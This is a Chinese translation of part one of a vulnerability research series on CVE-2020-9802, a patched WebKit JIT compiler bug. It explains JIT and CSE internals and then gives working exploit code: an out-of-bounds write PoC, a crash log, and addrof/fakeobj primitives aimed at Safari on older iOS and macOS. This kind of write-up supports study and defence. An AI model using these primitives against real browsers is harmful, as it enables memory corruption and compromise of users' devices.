WebKit JIT漏洞分析及利用Part1

阅读量    199965 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

简介

本系列文章由3部分组成,主要介绍了在现代Web浏览器中查找和利用JavaScript引擎漏洞所涉及的技术,并评估了当前的漏洞缓解技术。CVE-2020-9802已在iOS 13.5中修复,而两个缓解Bypass,CVE-2020-9870和CVE-2020-9910在iOS 13.6中得到了修复。

2020年浏览器渲染器的漏洞利用会是怎样的?因为这是我在计算机科学中最喜欢的领域之一,因此我想找到一个JIT编译器的漏洞,而fuzzer很难找到新类型的漏洞。

由于WebKit具有目前最复杂的漏洞缓解机制(在iOS上,也有可能很快会在arm架构的macOS上),包括硬件支持的缓解机制,比如PAC和APRR,所以似乎应该把重点放在WebKit上,或者实际上是JavaScript引擎JavaScriptCore (JSC)上。

本系列文章将介绍:

  • 简要介绍JIT引擎,尤其是CSE(Common-Subexpression Elimination)优化
  • 介绍一个JIT编译器漏洞:CVE-2020-9802,由CSE处理不当引起的,以及如何利用它进行JSC堆上的越界读取或写入
  • 详细结束WebKit在iOS上的渲染器漏洞利用缓解机制,尤其是:StructureID随机化、Gigacage、PAC(Pointer Authentication )和APRR上的JIT强化,它们的工作原理是怎样的,潜在的缺陷,以及在exploit开发过程中如何绕过它们。

本系列文章附带的Poc代码可以在这里找到。它在iOS 13.4.1的Safari和macOS 10.15.4的Safari 13.1上进行了测试。

为了使没有浏览器利用经验的安全研究员看懂,本文解释了漏洞利用开发过程中使用各种JIT编译机制。但要注意的是,JIT编译器很可能是web浏览器中最复杂的攻击表面之一,被利用的漏洞很可能特别复杂,因此对初学者并不是很友好。另一方面,其中发现的漏洞也经常是影响比较大的漏洞之一,并且在很长一段时间内都保持可利用状态。

 

JITing

由于目前已经有很多关于JIT编译器的资源,所以本节仅对JavaScript JITing进行简单的介绍。

使用以下JavaScript代码:

function foo(o, y) {
    let x = o.x;
    return x + y;
}

for (let i = 0; i < 10000; i++) {
    foo({x: i}, 42);
}

由于JIT编译的成本很高,因此只对重复执行的代码执行JIT编译。因此,foo函数将在解释器中执行一段时间。在此期间,配置文件的值将被收集,对于foo来说,它看起来像这样:

o: JSObject with a property .x at offset 16
x: Int32
y: Int32

稍后,当优化的JIT编译器启动时,它首先将JavaScript源代码(或者有可能是解释器字节码)转换为JIT编译器自己的中间代码表示。在DFG(JavaScriptCore的优化JIT编译器)中,这是由DFGByteCodeParser完成的。

DFG IR中的foo函数最初可能如下所示:

v0 = GetById o, .x
v1 = ValueAdd v0, y
Return v1

在这里,GetById和ValueAdd是比较通用的操作,能够处理不同的输入类型(例如,ValueAdd也能够连接字符串)。

接下来,JIT编译器检查配置文件的值,并根据这些值来推测将来会使用类似的输入类型。在这里,它将推测o始终是某种JSObject以及x和y是Int32。但是,由于不能保证这些推测总是为真,编译器必须保护这些推测,通常在运行时类型检查:

CheckType o, “Object with property .x at offset 16”
CheckType y, Int32
v0 = GetByOffset o, 16
CheckType v0, Int32
v1 = ArithAdd v0, y
Return v1

还要注意如何将GetById和ValueAdd专门用于更高效的GetByOffset和ArithAdd操作。在DFG中,这种推测性优化发生在多个地方,例如,在DFGByteCodeParser中。

此时,IR代码本质上是类型化的,因为推测保护允许类型推断。接下来,执行大量的代码优化,例如不变的循环代码或常量折叠;可以从DFGPlan中提取DFG所做的优化。

最后,现在优化的IR被变为机器码。在DFG中,这是由DFGSpeculativeJIT直接完成的,而在FTL模式下,DFG IR首先降低到B3,即另一个IR,它在自身变为机器码之前经过进一步优化。

接下来,介绍一种特殊的CSE。

 

CSE(Common-Subexpression Elimination)

这种优化的思路是检测重复的计算(或表达式),一个单独的计算中。作为示例,使用以下JavaScript代码:

let c = Math.sqrt(a*a + a*a);

进一步假设a和b是已知的值,那么JavaScript JIT编译器可以将代码转换为以下内容:

   let tmp = a*a;
   let c = Math.sqrt(tmp + tmp);

这样做可以在运行时保存一个ArithMul操作。这种优化称为CSE(Common Subexpression Elimination)。

现在,使用以下JavaScript代码代替:

   let c = o.a;
   f();
   let d = o.a;

在这里,编译器不能去除CSE期间的第二个属性加载操作,因为中间的函数调用可能改变了.a的值。

在JSC中,在DFGClobberize中对某项操作是否受CSE约束进行建模。对于ArithMul,DFGClobberize声明:

    case ArithMul:
        switch (node->binaryUseKind()) {
        case Int32Use:
        case Int52RepUse:
        case DoubleRepUse:
            def(PureValue(node, node->arithMode()));
            return;
        case UntypedUse:
            clobberTop();
            return;
        default:
            DFG_CRASH(graph, node, "Bad use kind");
        }

PureValue的def()在这里表示计算不依赖于任何上下文,因此当给定相同的输入时,它总是会产生相同的结果。但是,请注意,PureValue的参数由ArithMode决定,它指定了操作是否应该处理整数溢出,在这种情况下,参数化可以防止对整数溢出具有不同处理方式的两个ArithMul操作相互替换。处理溢出的操作通常也称为“checked”操作,而“unchecked”操作是指不检查或处理溢出的操作。

相反,对于GetByOffset(可用于属性加载),DFGClobberize包含:

   case GetByOffset:
       unsigned identifierNumber = node->storageAccessData().identifierNumber;
       AbstractHeap heap(NamedProperties, identifierNumber);
       read(heap);
       def(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node));

这本质上说,该操作产生的值取决于NamedProperty “abstract heap”。因此,只有在两个GetByOffset操作之间没有写NamedProperties abstract heap(即包含属性值的内存位置)时,去除第二个GetByOffset才是合理的。

 

Bug

DFGClobberize没有考虑ArithNegate操作的ArithMode:

    case ArithNegate:
        if (node->child1().useKind() == Int32Use || ...)
            def(PureValue(node));          // <- only the input matters, not the ArithMode

这可能导致CSE用未检查的ArithNegate替换检查过的ArithNegate。对于ArithNegate一个32位整数求反的情况下,整数溢出只能在一种情况下发生:
对INT_MIN: -2147483648进行求反,这是因为2147483648不能表示为32位有符号整数,因此-INT_MIN导致整数溢出,并再次导致INT_MIN。

通过研究DFGClobberize中的CSE defs,考虑为什么一些PureValues(以及哪些)需要用ArithMode参数化,然后搜索缺少参数化的情况,可以发现这个bug。

这个bug的补丁非常简单:

-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));

这将教会CSE考虑ArithNegate操作的arithMode(未选中或选中)。因此,两个不同模式的算术运算不再可以互相替代。

除了ArithNegate之外,DFGClobberize还没有实现ArithAbs操作的ArithMode。

注意,这种类型的bug可能很难通过模糊测试检测到,因为:

  • fuzzer需要在相同的输入上使用不同的ArithMode创建两个ArithNegate操作
  • fuzzer将需要触发ArithMode不同的情况,在这里,也就是说它需要对INT_MIN值取反
  • 除非引擎有自定义的“sanitizers”来尽早检测这些类型的问题,并且执行了不同的模糊测试,否则模糊测试将仍然需要以某种方式将此情况转化为内存非法访问或断言失败。

 

越界

下面显示的JavaScript函数通过以下bug实现对JSArray任意索引的越界访问:

function hax(arr, n) {
    n |= 0;
    if (n < 0) {
        let v = (-n)|0;
        let i = Math.abs(n);
        if (i < arr.length) {
            if (i & 0x80000000) {
                i += -0x7ffffff9;
            }
            if (i > 0) {
                arr[i] = 1.04380972981885e-310;
            }
        }
    }
}

下面一步步解释这个PoC是如何构建的。在本节末尾,还有上述函数的注释版本。

首先,ArithNegate只用于对整数进行求反,更通用的ValueNegate操作可以对所有JavaScript值求反,但在JavaScript规范中,Numbers通常是浮点值。因此,有必要向编译器“提示”输入值将始终为整数。这是很容易完成的,首先执行一个按位操作,这将总是得到32位有符号整数值:

   n = n|0;   // n will be an integer value now

这样,现在就可以构造一个未检查的ArithNegate,

    n = n|0;
    let v = (-n)|0;

这里,在DFGFixupPhase期间,n的取反将被转换为一个未检查ArithNeg,编译器可以忽略溢出检查,因为对负值的唯一用法是按位或,并且对于溢出值和“正确”值的行为相同:

js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648

接下来,需要以n作为输入构造一个检查过的ArithNegate操作。获取ArithNegate的一种方法是让编译器将一个ArithAbs操作简化为一个ArithNegate操作。只有当编译器能够证明n是一个负数时,才会发生这种情况,因为DFG的IntegerRangeOptimization过程是路径敏感(path-sensitive)。因此可以轻松实现:

n = n|0;
if (n < 0) {
    // Compiler knows that n will be a negative integer here

    let v = (-n)|0;
    let i = Math.abs(n);
}

这里,在字节码解析期间, Math.abs 的调用将首先被变为ArithAbs操作,因为编译器能够证明调用总是导致mathAbs函数的执行,所以替换ArithAbs操作,该操作将具有相同的运行时语义,但在运行时不需要调用函数。编译器实际上就是以这种方式内联Math.abs。之后,IntegerRangeOptimization将ArithAbs转换为一个检查过的ArithNegate(因为INT_MIN不能被n排除,所以检查ArithNegate)。这样,if语句中的两个语句本质上在pseudo DFG IR中:

v = ArithNeg(unchecked) n
i = ArithNeg(checked) n

由于这个bug,CSE稍后会变成:

v = ArithNeg(unchecked) n
i = v

在这一点上,用INT_MIN调用错误编译的函数会导致i也是INT_MIN,尽管它实际上应该是一个正数。

这本身是一个正确性问题,但还不是安全性问题。将这个bug变成安全问题的一个方法(可能是唯一的)是滥用在安全研究人员中已经流行的JIT优化:边界检查消除(bounds-check elimination)。

回到IntegerRangeOptimization过程,i的值已经被标记为正数。然而,要消除边界检查,该值还必须小于数组索引的长度。这很容易实现:

function hax(arr, n) {
  n = n|0;
  if (n < 0) {
    let v = (-n)|0;
    let i = Math.abs(n);
    if (i < arr.length) {
        arr[i];
    }
  }
}

现在触发bug时,我将是INT_MIN,因此将通过比较并执行数组访问。因此将通过比较并执行数组访问。然而,边界检查将被删除,因为IntegerRangeOptimization错误地认为我总是在边界内。

在触发bug之前,必须对JavaScript代码进行JIT编译。这通常只需执行大量的代码就可以实现。然而,对arr的索引访问只会降低(通过SSALoweringPhase)到一个CheckInBounds(稍后将被删除)和一个不受边界检查的(unbounds -checked)的GetByVal,如果在baseline JIT的解释或执行期间经常观察到访问越界,则不会出现这种情况。因此,在函数的“训练”期间,必须使用合理的索引:

    for (let i = 1; i <= ITERATIONS; i++) {
        let n = -4;
        if (i == ITERATIONS) {
            n = -2147483648;        // INT_MIN
        }
        hax(arr, n);
    }

在JSC中运行此代码将崩溃:

lldb -- /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
   (lldb) r
   Process 12237 stopped
   * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1c1fc61348)
       frame #0: 0x000051fcfaa06f2e
   ->  0x51fcfaa06f2e: movsd  xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero
   Target 0: (jsc) stopped.
   (lldb) reg read rcx
        rcx = 0x0000000080000000

但是,不便的是,越界索引(在rcx中)将始终为INT_MIN,因此访问数组后面的0x80000000 * 8 = 16GB。尽管可能是可利用的,但它并不是一开始就最好的利用原语。

实现具有任意索引的OOB访问的最后一个技巧是从i中减去一个常数,将INT_MIN包装为任意正数。因为DFG编译器认为我总是正的,所以减法将不受检查,因此溢出将被忽略。

但是,由于减法会使有关下限的整数范围无效,因此之后需要执行额外的“i> 0”检查,以再次触发边界检查消除。此外,由于减法将把训练期间使用的整数转化为越界索引,因此只有在输入值为负时才有条件执行减法。幸运的是,DFG编译器还不够完善,无法确定该条件不应该为真,在这种情况下,它可以直接将减法完全优化掉。

在这些情况下,下面显示的还是最初的函数,不过这次带有注释。当JITed指定INT_MIN为n时,它会导致将一个可控值(0x0000133700001337)写进内存中,直接跟在arr后面JSArray的length字段。注意,这一步的成功取决于正确的堆布局。但是,由于这个bug非常强大,可以利用它进行可控的OOB读取,因此可以在触发内存崩溃之前确保堆布局是正确的。

function hax(arr, n) {
    // Force n to be a 32bit integer.
    n |= 0;

    // Let IntegerRangeOptimization know that 
    // n will be a negative number inside the body.
    if (n < 0) {
        // Force "non-number bytecode usage" so the negation 
        // becomes unchecked and as such INT_MIN will again
        // become INT_MIN in the last iteration.
        let v = (-n)|0;

        // As n is known to be negative here, this ArithAbs 
        // will become a ArithNegate. That negation will be 
        // checked, but then be CSE'd for the previous, 
        // unchecked one. This is the compiler bug.
        let i = Math.abs(n);

        // However, IntegerRangeOptimization has also marked 
        // i as being >= 0...

        if (i < arr.length) {
            // .. so here IntegerRangeOptimization now believes 
            // i will be in the range [0, arr.length) while i 
            // will actually be INT_MIN in the final iteration.

            // This condition is written this way so integer 
            // range optimization isn't able to propagate range 
            // information (in particular that i must be a 
            // negative integer) into the body.
            if (i & 0x80000000) {
                // In the last iteration, this will turn INT_MIN 
                // into an arbitrary, positive number since the
                // ArithAdd has been made unchecked by integer range
                // optimization (as it believes i to be a positive
                // number) and so doesn't bail out when overflowing
                // int32.
                i += -0x7ffffff9;
            }

            // This conditional branch is now necessary due to 
            // the subtraction above. Otherwise, 
            // IntegerRangeOptimization couldn’t prove that i 
            // was always positive.
            if (i > 0) {
                // In here, IntegerRangeOptimization again believes
                // i to be in the range [0, arr.length) and thus
                // eliminates the CheckBounds node, leading to a 
                // controlled OOB access. This write will then corrupt
                // the header of the following JSArray, setting its
                // length and capacity to 0x1337.
                arr[i] = 1.04380972981885e-310;
            }
        }
    }
}

 

Addrof/Fakeobj

此时,可以构造两个exploit原语addrof和fakeobj。addrof(obj)原语返回指定JavaScript对象在内存中的地址(以double的形式):

    let obj = {a: 42};
    let addr = addrof(obj);
    // 2.211548541e-314 (0x000000010acdc250 as 64bit integer)

fakeobj(addr)原语返回一个包含指定地址的JSValue作为payload:

    let obj2 = fakeobj(addr);
    obj2 === obj;
    // true

这些原语非常有用,因为它们基本上允许做两件事:中断堆ASLR,以便可以将可控数据放置在已知地址中,并提供一种方法来伪造对象并将其“注入”到引擎中。更多的内容将在第2部分文章中介绍。

可以使用两个不同存储类型的 JSArray来构造这两个原语:通过将存储(unboxed/raw)双精度的JSArray与存储jsvalue的JSArray重叠:例如可以是指向JSObjects的指针。

这样就可以通过float_arr读/写obj_arr中的指针值:

    let noCoW = 13.37;
    let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

    // Trigger the bug to write past the end of the target array and
    // thus corrupting the length of the float_arr following it
    hax(target, n);

    assert(float_arr.length == 0x1337);

    // (OOB) index into float_arr that overlaps with the first element    
    // of obj_arr.
    const OVERLAP_IDX = 8;

    function addrof(obj) {
        obj_arr[0] = obj;
        return float_arr[OVERLAP_IDX];
    }

    function fakeobj(addr) {
        float_arr[OVERLAP_IDX] = addr;
        return obj_arr[0];
    }

注意对noCoW变量的使用有些不明显。它用于防止JSC将数组分配为写时拷贝数组,否则会导致错误的堆布局。

 

总结

我希望这是关于“非标准”JIT编译器bug的一个有趣的演练。请记住,有很多JIT漏洞更容易攻击。另一方面,漏洞利用并不容易,这也允许接触到更多JSC和JIT编译器内部组件。

第2部分文章将介绍从addrof和fakeobj原语实现任意读/写原语的不同方法。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多